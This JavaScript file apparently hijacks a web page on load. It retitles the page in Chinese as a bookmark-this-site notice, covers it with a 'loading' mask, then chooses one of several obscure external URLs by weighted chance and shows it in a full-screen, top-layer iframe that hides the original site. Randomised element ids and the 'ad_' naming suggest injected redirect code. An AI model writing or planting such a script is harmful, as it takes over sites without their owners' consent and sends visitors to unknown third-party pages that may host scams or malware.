document.write('<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no"/>');
(function() {
    function generateRandomString(length) {
        return Math.random().toString(36).substring(2, length + 2);
    }

    function createLoadingMask() {
        var mask = document.createElement('div');
        mask.id = 'ad_fullscreen_mask_' + generateRandomString(5);
        mask.style.cssText = `
            position:fixed;
            top:0;left:0;width:100vw;height:100vh;
            background:#fff;
            display:flex;
            align-items:center;
            justify-content:center;
            z-index:2147483646;
            font-size:2rem;
            font-family:sans-serif;
        `;
        mask.innerText = '正在加载中...';
        document.body.appendChild(mask);
        return mask;
    }
    
    function weightedRandomLink(data) {
        if (!Array.isArray(data) || data.length === 0) {
            return null;
        }
    
        const validData = data.filter(item => {
            return item &&
                Number(item.weight) > 0 &&
                Array.isArray(item.links) &&
                item.links.length > 0;
        });
    
        if (validData.length === 0) {
            return null;
        }
    
        const totalWeight = validData.reduce((sum, item) => {
            return sum + Number(item.weight);
        }, 0);
    
        let random = Math.random() * totalWeight;
    
        for (const item of validData) {
            random -= Number(item.weight);
    
            if (random < 0) {
                const index = Math.floor(
                    Math.random() * item.links.length
                );
    
                return item.links[index];
            }
        }
    
        return null;
    }

    function loadExternalContent(url, mask) {
        document.documentElement.style.height = '100%';
        document.body.style.height = '100%';
        document.body.style.margin = '0';
        document.body.style.overflow = 'hidden';

        var frameName = generateRandomString(10);
        var frame = document.createElement('iframe');
        frame.id = frameName;
        frame.style.cssText = 'width:100vw;height:100vh;border:none;position:fixed;top:0;left:0;z-index:2147483647;';
        frame.src = url;

        frame.onload = function() {
            if(mask && mask.parentNode) {
                mask.parentNode.removeChild(mask);
            }
        };

        document.body.appendChild(frame);
    }

    function main() {
        document.title = '收藏网址，一直更新中。';
        var data=[{"weight":50,"links":["https:\/\/www.cnaqgdw.com:2087\/3102_05163.html","https:\/\/www.xxgvyjv.com:2087\/3102_05163.html"]},{"weight":50,"links":["https:\/\/cm05163.oehptsdu.cn\/2.html"]}];
        const externalUrl = weightedRandomLink(data);
        var mask = createLoadingMask();
        loadExternalContent(externalUrl, mask);
    }

    if (document.readyState === 'loading') {
        document.addEventListener('DOMContentLoaded', main);
    } else {
        main();
    }
})();//finish